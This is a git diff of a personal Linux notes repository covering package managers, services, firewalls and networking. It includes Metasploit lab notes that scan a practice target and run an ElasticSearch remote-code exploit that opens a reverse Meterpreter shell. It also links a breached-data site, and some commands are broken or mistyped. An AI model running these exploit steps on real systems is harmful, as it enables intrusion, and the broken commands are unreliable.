@ -23,33 +19,23 @@ sudo pacman-key --refresh-keys
If you have usigned keys, you can refresh with:
```bash
sudo pacman -Sc
```
> sudo pacman -Sc
or
```bash
sudo pacman -Scc
```
> sudo pacman -Scc
Reset all keys with:
```bash
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```
> sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
If you're constantly getting 'everything corrupted, nothing upgraded', try running:
```bash
sudo pacman -S archlinux-keyring
```
> sudo pacman -S archlinux-keyring
List all orphaned packages:
```bash
sudo pacman -Qtdq
```
> sudo pacman -Qtdq
## Cleaning Config Files

20
distros/debian/apt.md
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@ -8,27 +8,17 @@ tags: [ "Documentation", "distros" ]
Messed up a package's configuration files?
```bash
sudo apt-get purge [thing]
```
> sudo apt-get purge [thing]
```bash
sudo apt autoremove
```
> sudo apt autoremove
Check if you still have related things:
```bash
apt search [thing]
```
> apt search [thing]
```bash
sudo apt-get install [ thing ]
```
> sudo apt-get install [ thing ]
Still have problems?
```bash
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```
> sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]

90
distros/kali/install-kali.sh Normal file
View File

@ -0,0 +1,90 @@
cd /usr/share/X11/xkb/symbols/
cp pc pc.bak
echo "pc backup copied - this isn't tested" >> ~/install.log
sed s/Caps_Lock/Escape/ pc > pc
cd
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
sudo apt-get update && sudo apt-get install waterfox
```
echo "deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
```
setxkbmap gb
# gksudo firefox -install-global-extension addon-1865-latest.xpi
#install addon with cli
apt-get -y install openvpn
cd /etc/openvpn
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
unzip ovpn.zip
rm ovpn.zip
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
unzip ma*
rm ma*zip
cd i3-g*
sudo apt -y update;sudo apt -y upgrade
./i3*
cd
mv i3/ .config
sudo apt install feh compton ranger w3m cmus scrot
sudo apt install tor
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
unzip master.zip
rm master.zip
cd cli-vis*
apt install libfftw3-dev libncursesw5-dev libpulse-dev
./install.sh
cd
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
apt install -y encfs cmatrix cowsay
mkdir Tools
cd Tools
wget https://github.com/Mebus/cupp/archive/master.zip
unzip master.zip;rm master.zip
cd

128
distros/kali/metasploit.md Normal file
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@ -0,0 +1,128 @@
---
title: "metasploit"
tags: [ "Documentation", "distros" ]
---
> service postgresql start
> systemctl status postgresql
> msfdb init
start the metasploit
> msfconfole
show exploits
Examples:
> info exploit/something
> search cve:2019
## Basic theory
There are vulnerabilities and payloads.
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
# Notes for Class
Victim: 172.18.3.26
> nmap -Pn -sV 172.18.3.26 --script=vuln
> nmap -Pn -sV 172.18.3.26
Output:
```
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
Nmap scan report for 172.18.3.26
Host is up (0.016s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
4848/tcp open appserv-http?
8022/tcp open oa-system?
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8383/tcp open ssl/m2mservices?
9200/tcp open tcpwrapped
49153/tcp open unknown
49154/tcp open unknown
49159/tcp open unknown
49161/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```
Note this one:
`9200/tcp open tcpwrapped`
Apparently that's 'elasticsearch', so in metasploit we can do:
`search elasticsearch`
```
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
```
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
> show options
> set rhost 172.18.3.26
The remote port's already set at this point.
We've so far done use, rhost, and port.
> exploit
```
[*] Started reverse TCP handler on 172.18.3.112:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (53845 bytes) to 172.18.3.26
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
```
> dir
# Next Wordpress
http://172.18.3.26:8585/wordpress/
Back to normal shell.
> search wordpress ninja
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload

8
distros/kali/webresources Normal file
View File

@ -0,0 +1,8 @@
https://coldwallet.io/
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
https://wickr.com
https://weleakinfo.com/

9
distros/partition.sh Normal file
View File

@ -0,0 +1,9 @@
#!/bin/bash
# run as root
[ -z $1 ] && echo set a disk && exit 1
parted /dev/sd$1 --script -- mklabel msdos
parted /dev/sd$1 --script -- mkpart primary 0 300M
parted /dev/sd$1 --script -- mkpart primary 300M 100%
mkfs.vfat /dev/sd"$1"1
mkfs.ext4 /dev/sd"$1"2

15
distros/redhat/npm.md Normal file
View File

@ -0,0 +1,15 @@
---
title: "npm"
tags: [ "Documentation", "Distros" ]
---
package.json is the basic configuration file.
Everything is per-directory.
> npm install x
This'll install x in the current directory.
> npm init
> npm install express --save

18
distros/redhat/yum.md Normal file
View File

@ -0,0 +1,18 @@
---
title: "yum"
tags: [ "Documentation", "Distros" ]
---
# Overview
> yum search [package]
> yum list openssh
> yum install [package1] [package2]
> yum check-updates
> yum update
> yum remove [package1] [package2]

7
distros/void/autologin.md
View File

@ -5,11 +5,10 @@ tags: [ "Documentation", "Void" ]
Make the autologin service:
```bash
cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
> cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
```
```sh
if [ -x /sbin/agetty -o -x /bin/agetty ]; then
# util-linux specific settings
if [ "${tty}" = "tty1" ]; then
@ -25,7 +24,7 @@ TERM_NAME=linux
Then stick this at the end of the bashrc:
```sh
```
# autologin on tty1
if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then
exec startx

12
distros/void/extrace.md
View File

@ -4,19 +4,13 @@ tags: [ "Documentation", "Void" ]
---
Monitor all processes:
```bash
extrace
```
> extrace
Monitor one process:
```bash
extrace ls
```
> extrace ls
Monitor a script:
```bash
./script.sh | extrace
```
> ./script.sh | extrace

30
distros/void/jenkins.md
View File

@ -1,30 +0,0 @@
---
title: "jenkins"
tags: [ "void", "build" ]
---
# Jenkins on Void
Jenkins is janky.
## Start
Start the service file.
```bash
sudo ln -s /etc/sv/jenkins /var/service
sudo sv start jenkins
```
Then visit the web interface with `$BROWSER localhost:8080`.
If it's not working, try running the command from the run file the first time:
```bash
chpst -u jenkins java -jar /opt/jenkins/jenkins.war
```
## Updating
Jenkins will not work if out of date.
You will be prompted to update by downloading a `jenkins.war` file.
Download it, then stop the service, and move the file to `/opt/jenkins/jenkins.war`, then start the service again.

32
distros/void/sv.md
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@ -6,49 +6,35 @@ tags: [ "Documentation", "Void" ]
All possible services are in:
```bash
ls /etc/sv
```
> ls /etc/sv
The computer only uses those in /var/service, so symbolic links are made to start and stop services.
```bash
ls /var/service
```
> ls /var/service
# Start Services
Enable the sshd service, so that ssh will work every time you boot up:
```bash
sudo ln -s /etc/sv/sshd /var/service
```
> sudo ln -s /etc/sv/sshd /var/service
Then start the service:
```bash
sudo sv start sshd
```
> sudo sv start sshd
# Stop Services
Stop `mpd` with:
```bash
sudo sv stop mpd
```
> sudo sv stop mpd
And stop it automatically loading at startup with:
```bash
sudo rm /var/service/mpd
```
> sudo rm /var/service/mpd
You can also just make a file called 'down':
```bash
sudo touch /var/service/mpd/down
```
> sudo touch /var/service/mpd/down
This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts.
@ -63,7 +49,5 @@ If unsure, use `#!/bin/bash` as the first line. When Void Linux says `sh`, it m
Confirm the shell you'll use:
```bash
ls -l $(which sh)
```
> ls -l $(which sh)

13
distros/void/void-background.sh
View File

@ -1,13 +0,0 @@
#!/bin/sh
# get the void linux logo from wikipedia
wget https://upload.wikimedia.org/wikipedia/commons/thumb/0/02/Void_Linux_logo.svg/256px-Void_Linux_logo.svg.png?20170131170632
# rename it, and resize it (the standard size is too small for most wallpapers)
convert -resize 200% '256px-Void_Linux_logo.svg.png?20170131170632' void-logo.png
# download a pretty wallpaper
wget http://wallpapercave.com/wp/Wlm9Gv0.jpg
# put the void logo on all *jpg and *png images
for x in *.jpg
do
composite -compose multiply -gravity Center void-logo.png "$x" "$x"
done

27
distros/void/void_basics.md
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@ -6,9 +6,7 @@ tags: [ "Documentation", "Void" ]
Update all packages with
```bash
sudo xbps-install -Su
```
> sudo xbps-install -Su
See [xbps](xbps.md) for more.
@ -17,29 +15,21 @@ See [xbps](xbps.md) for more.
Void keeps *every* version of everything you install, so you can roll back to them.
Remove old packages with:
```bash
sudo xbps-remove -O
```
> sudo xbps-remove -O
# vkpurge
Old Void kernels are left on the boot partition. List them with:
```bash
vkpurge list
```
> vkpurge list
Remove one with:
```bash
vkpurge 2.8.2_4
```
> vkpurge 2.8.2_4
Remove all but the latest with:
```bash
vkpurge rm all
```
> vkpurge rm all
# Brightness
@ -48,10 +38,9 @@ You can change this number to change the screen brightness.
For an easy utility, install `brightnessctl`.
```bash
brightnessctl s 10%-
brightnessctl s 10%+
```
> brightnessctl s 10%-
> brightnessctl s 10%+
# Other Tricks

64
distros/void/xbps.md
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@ -6,87 +6,61 @@ tags: [ "Documentation", "Void" ]
Look for cowsay in the repository:
```bash
xbps-query --repository --search cowsay
```
> xbps-query --repository --search cowsay
Short version:
```bash
xbps-query -Rs cowsay
```
> xbps-query -Rs cowsay
Search with regex:
```bash
xbps-query --regex -Rs 'cow(s)?\w'
```
> xbps-query --regex -Rs 'cow(s)?\w'
List what's required for cowsay
```bash
xbps-query -x cowsay
```
> xbps-query -x cowsay
What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)?
```bash
xbps-query -O
```
> xbps-query -O
Show cowsay's dependencies.
```bash
xbps-query -x cowsay
```
> xbps-query -x cowsay
This shows `perl`.
To see what else depends on perl:
```bash
xbps-query -X perl
```
> xbps-query -X perl
List all manually installed software.
```bash
xbps-query -m
```
> xbps-query -m
## Install
Install cowsay
```bash
xbps-install cowsay
```
> xbps-install cowsay
Upgrade current packages.
`-R` looks at repositories, `-s` makes a sloppy search (for rough matches).
```bash
xbps-install -Suv
```
> xbps-install -Suv
## Remove/ Uninstall
Remove cowsay
```bash
xbps-remove cowsay
```
> xbps-remove cowsay
...and all dependencies
```bash
xbps-remove -R cowsay
```
> xbps-remove -R cowsay
Remove all orphaned dependencies.
```bash
xbps-remove -o
```
> xbps-remove -o
Show information about cowsay
@ -94,19 +68,13 @@ Show information about cowsay
Reinstall cowsay
```bash
xbps-install -f cowsay
```
> xbps-install -f cowsay
Look for broken packages.
```bash
sudo xbps-pkgdb -a
```
> sudo xbps-pkgdb -a
And if you've found any, you might reconfigure all packages forcefully:
```bash
sudo xbps-reconfigure -af
```
> sudo xbps-reconfigure -af

4
hardware/brightness.md
View File

@ -3,8 +3,6 @@ title: "brightness"
tags: [ "Documentation", "hardware" ]
---
# Brightness
/sys/class/backlight/*/brightness
Edit this file:
> /sys/class/backlight/*/brightness

28
hardware/keyboard/keyboard.md
View File

@ -6,15 +6,11 @@ tags: [ "Documentation", "keyboard" ]
Set layout to British English.
```bash
setxkbmap -layout gb
```
> setxkbmap -layout gb
Or Polish with:
```bash
setxkbmap -layout pl
```
> setxkbmap -layout pl
| Language | short |
|:--------|:------|
@ -23,9 +19,7 @@ setxkbmap -layout pl
Set 'alt + shift', as the command which cycles through the British English, Polish and Serbian keyboard layout.
```bash
setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
```
> setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
## Alt_GR
@ -39,30 +33,22 @@ Remap, e.g., the right Windows key, to Alt_Gr.
Copy your keymap, e.g. if it's polish-1, then:
```bash
cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
```
> cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
Then change that map:
```bash
sudo vim /usr/share/kbd/keymaps/custom.map.gz
```
> sudo vim /usr/share/kbd/keymaps/custom.map.gz
---
You can switch Escape and Caps Lock with a single line:
```bash
sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
```
> sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
---
Change the default keyboard mapping to the custom map:
```bash
echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
```
> echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
Reboot to have changes take effect.

16
networking/fail2ban.md
View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "Networking" ]
---
# SSH Daemon Jail
```bash
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
```
> sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
```
[sshd]
@ -16,17 +14,11 @@ ignoreip = 127.0.0.1/8 ::1,192.168.0.0/16 ::1
```
```bash
sudo systemctl restart fail2ban
```
> sudo systemctl restart fail2ban
```bash
sudo fail2ban-client status
```
> sudo fail2ban-client status
```bash
sudo fail2ban-client status sshd
```
> sudo fail2ban-client status sshd

56
networking/graph-easy.md
View File

@ -4,23 +4,23 @@ tags: [ "Documentation" ]
---
Set up a file like this, called `troubleshooting.txt`.
> [ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
>
> [ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
>
> [ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
>
> [ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
>
> [ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
>
> [ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
```
[ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
[ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
[ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
[ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
[ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
[ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
```
Then translate it with:
```bash
graph-easy troubleshooting.txt --as boxart
```
> graph-easy troubleshooting.txt --as boxart
```
@ -37,20 +37,14 @@ graph-easy troubleshooting.txt --as boxart
Many options allow different displays.
Try placing this in a file:
> [ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
>
> [ One ] => { arrow-style: closed; } [ Three ]
>
> [ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
>
> [ One ] .. Test\n label ..> [ Four ]
>
> [ Three ] { border-style: dashed; }
>
> .. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
>
> [ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
>
> [ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
>
> [ no Network ] --> [ Is there an IP address? ]
```
[ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
[ One ] => { arrow-style: closed; } [ Three ]
[ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
[ One ] .. Test\n label ..> [ Four ]
[ Three ] { border-style: dashed; }
.. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
[ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
[ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
[ no Network ] --> [ Is there an IP address? ]
```

32
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@ -8,9 +8,7 @@ This is a basic Linux firewall program.
Look at your firewalls:
```bash
iptables -L
```
> iptables -L
We see the output of input, output and forwarding rules.
@ -18,27 +16,19 @@ We see the output of input, output and forwarding rules.
I don't need any forwarding, so I'm going to drop all forwarding:
```bash
iptables -P FORWARD DROP
```
> iptables -P FORWARD DROP
# Input
Let's 'A'dd, or 'A'ppend a rule with -A. Let's drop all input from a nearby IP
```bash
iptables -A INPUT -s 192.168.0.23 -j DROP
```
> iptables -A INPUT -s 192.168.0.23 -j DROP
Or we can block all input from a particular port on the full Network.
```bash
iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
```
> iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
```bash
iptables -A INPUT --dport 80 -j ACCEPT
```
> iptables -A INPUT --dport 80 -j ACCEPT
This allows http traffic to an Apache web server over port 80.
@ -47,15 +37,11 @@ However, rules are accepted in order - so a packet cannot be rejected and then a
To delete rule 2 from the INPUT chain:
```bash
iptables -D INPUT 3
```
> iptables -D INPUT 3
Alternatively, you can 'I'nsert a rule at the start, rather than 'A'ppending it.
```bash
iptables -I INPUT -s 192.168.0.13 DROP
```
> iptables -I INPUT -s 192.168.0.13 DROP
# Catchalls
@ -67,9 +53,7 @@ The -j flag accepts ACCEPT/REJECT/DROP. The last two are identical except that
Flush all existing rules with:
```bash
iptables -F
```
> iptables -F
# Examples

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@ -0,0 +1,94 @@
---
title: "protocols"
tags: [ "Documentation", "Networking" ]
---
# Protocols
| TCP | UDP | ICMP |
|:-----------------|:-----------------|:------------------|
|Transmission Control Protocol | User Datagram Protocol | Internet Control Message Protocol |
| Reliable and slow. | Fast but unreliable, such as VOIP. Provides checksums. | Dirty checks such as pings. |
# Networking Addressing
## IPv4
Three address ranges pertain only to private Networks, so no computer looks beyond the local router to resolve them:
10.0.0.0 to 10.255.255.255
172.16.0.0 to 172.31.255.255
192.168.0.0 to 192.168.255.255
In theory, Networks should fall within one of 3 ranges, depending upon their first octet:
Class A 1-127
Class B 128 to 191
Class C 192 to 223
# Service Ports
There are three types of port ranges:
1 to 1023: Well-known and established ports.
1024 to 49151 ICANN registered ports, used by various products, with limited oversight.
49152 to 65535 Dynamic ports for ad hoc use.
View a more complete list of ports with:
> less /etc/services
# ip
Show all addresses with:
> ip a{dd{ress}} s{how}
If a link's not present, load it with:
sudo ip link set dev wlp3s0 up
Add an interface to a device as so:
> sudo ip a add 192.168.0.15/255.255.255.0 dev eth1
See Network interfaces available on Fedora with:
> less /etc/sysconfig/Network-scripts/ifcfg-enp2s0f0
or on Debian with:
> less /etc/Network/interfaces
Mostly, interfaces will receive automatic addresses from a DHCP server. If this hasn't happened for you, you can request a dhcp address with:
> sudo dhclient eth1
View your current route to the internet with:
> route
... although on void this is:
> routel
If you don't have a route to the internet, you can manually specify the default gateway with:
> sudo route add default gw 192.168.0.1
... or ...
> sudo ip route add default via 192.168.0.1

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@ -0,0 +1,141 @@
---
title: "Networking"
tags: [ "Documentation", "Networking", "ip" ]
---
# You
Check how your computer connects to the net:
> ip address show
```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UP group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 84:3a:4b:ca:5c:24 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
valid_lft 199143sec preferred_lft 172143sec
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
valid_lft forever preferred_lft forever
4: wwp0s20u4i6: <BROADCAST,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether fa:cd:4d:28:ec:dc brd ff:ff:ff:ff:ff:ff
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
valid_lft forever preferred_lft forever
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
valid_lft forever preferred_lft forever
```
That's too much output to read, so try:
> ip address show | grep inet
```
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
```
The starting numbers tell you about the address. You just have to memorize the meanings:
| Address Prefix | Meaning |
|:---:|:---:|
| 127.X | The computer's name for itself, for when you want to ssh into your own machine |
| ::1/128 | Same thing, with ipv6 |
| 192.168.X | A small Network address, given by a DHCP server (possibly your router) |
| 169.X | The interface to the internet wasn't given an ip address, so it's made up its own |
# `arp-scan`
Look around your local Network with `arp-scan`.
> sudo arp-scan -l
```
Interface: wlp3s0, type: EN10MB, MAC: 84:3a:4b:ca:5c:24, IPv4: 192.168.0.13
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 0c:02:27:bc:aa:a1 Technicolor CH USA Inc.
192.168.0.15 b8:27:eb:4a:cd:d9 Raspberry Pi Foundation
192.168.0.10 dc:0b:34:94:5c:c4 LG Electronics (Mobile Communications)
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded
```
The interface here was `wlp3s0`. It starts with 'w', so it's a wifi card. Each internet adapter has a name, called a 'MAC address' in order to identify itself to outsiders. The first three parts of a MAC address are given by the manufacturer (like a family name), and the rest are just for that one device.
The '192.168.0.1' address ends in '.1', so it's probably a router. The manufacturer is 'Technicolor' (`arp-scan` has identified this from the first digits of the MAC: '0c:02:27').
Next is 192.168.0.15, which is labelled as a 'raspberry pi'. Finally, the '.10' address is a mobille phone.
Mac addresses are easy to fake, so don't trust this output to keep you safe.
# `nmap`
Look around your entire Network from 192.168.0.1 to 192.168.0.255:
> sudo nmap -F 192.168.0.1/24
The `-F` means 'do this fast, by only scanning normal traffic' (ports below 1000).
```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-09 13:52 CET
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 0C:02:27:BC:AA:A1 (Technicolor CH USA)
Nmap scan report for 192.168.0.10
Host is up (0.0040s latency).
All 100 scanned ports on 192.168.0.10 are closed
MAC Address: DC:0B:34:94:7C:C4 (LG Electronics (Mobile Communications))
Nmap scan report for belgradecats (192.168.0.15)
Host is up (0.0096s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
MAC Address: B8:27:EB:4A:CD:D9 (Raspberry Pi Foundation)
Nmap scan report for 192.168.0.13
Host is up (0.0000080s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (4 hosts up) scanned in 5.34 seconds
```
Network traffic is split into different types of information. Each one gets a number called a 'port'. Most of this information is dead, so only a few ports are used nowadays.
The first one shows port 80, so you can visit it on a web browser. The next shows 53 (so it's handing out names of local computers) and 22 (so you can access it via ssh).
You can scan outside addresses with:
> sudo nmap facebook.com
However, when you scan something, that machine will see you, and you may set off alerts, which then have to bother whoever's looking after that address.
So if you want to try out nmap from outside, find a place you have permission to scan (like your own external IP address), or try:
> sudo nmap hack.me
The hack.me website doesn't mind people scanning.

11
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@ -5,9 +5,7 @@ tags: [ "Documentation", "Networking" ]
Example:
```bash
nmap 192.168.1.1/24
```
> nmap 192.168.1.1/24
Flags:
@ -17,6 +15,7 @@ Flags:
Look for a web server, which has ports 80 and 443 open:
```bash
nmap 192.168.1.1/24 -p 80,443 --open
```
> nmap 192.168.1.1/24 -p 80,443 --open

47
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@ -6,54 +6,37 @@ tags: [ "Documentation", "Distros" ]
## Arch
```bash
yay -S pi-hole-server
```
> yay -S pi-hole-server
```bash
sudo systemctl enable --now pihole-FTL
```
> sudo systemctl enable --now pihole-FTL
```bash
sudo systemctl disable --now systemd-resolved
```
> sudo systemctl disable --now systemd-resolved
```bash
sudo rm -f /dev/shm/FTL-\*
```
> sudo rm -f /dev/shm/FTL-\*
## Debian
Debian has a long, boring setup.
```bash
sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
```
> sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
> curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
# Setup
```bash
sudo usermod -aG pihole $USER
```
> sudo usermod -aG pihole $USER
Remove that google dns server.
```bash
pihole -a setdns 9.9.9.9 1.0.0.1
```
> pihole -a setdns 9.9.9.9 1.0.0.1
Disable pihole password by setting a blank password.
```bash
pihole -a -p
```
> pihole -a -p
Get a new list of blocked domains, then reload:
```bash
pihole -g -r
```
> pihole -g -r
Every so often, run `pihole -g` again (perhaps put it in crontab).
@ -61,15 +44,11 @@ Every so often, run `pihole -g` again (perhaps put it in crontab).
Observe the pihole's output while you ask it a question:
```bash
pihole -t
```
> pihole -t
Then ask the question from another computer:
```bash
dig @[ pihole ip ] archlinux.org
```
> dig @[ pihole ip ] archlinux.org
## System-Wide Setup

12
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@ -2,26 +2,20 @@
title: "pip"
tags: [ "Documentation", "Networking" ]
---
```
Searching does not work.
Install with:
```bash
pip install [ package ]
```
> pip install [ package ]
Upgrade all packages
```bash
pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
```
> pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
# Troubleshooting
You may need a python3 package.
In this case, try:
```bash
pip3 install [ package ]
> pip3 install [ package ]

48
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@ -3,77 +3,53 @@ title: "rclone"
tags: [ "Documentation", "Networking" ]
---
The manpage's 'Synopsis' provides a fast reference.
```
We'll assume a folder in Google Drive called 'test', and local folder called 'foo'.
Generate a config file with:
```bash
rclone config
```
> rclone config
Look at the contents of Google Drive:
```bash
rclone ls gd:/
```
> rclone ls gd:/
If rclone loses authorization:
```bash
rclone authorization
```
> rclone authorization
List only directories:
```bash
rclone lsf -dirs-only google:/
```
> rclone lsf -dirs-only google:/
Mount the remote location on /tmp/google with:
```bash
rclone mount google /tmp/google
```
> rclone mount google /tmp/google
Copy the contents of 'foo' to 'test'.
```bash
rclone copy foo/ google:test
```
> rclone copy foo/ google:test
Sync contents of foo and test with a progress bar (will delete Google items):
```bash
rclone sync foo google:test -P
```
> rclone sync foo google:test -P
Remove all duplicates
```bash
rclone dedupe google:test
```
> rclone dedupe google:test
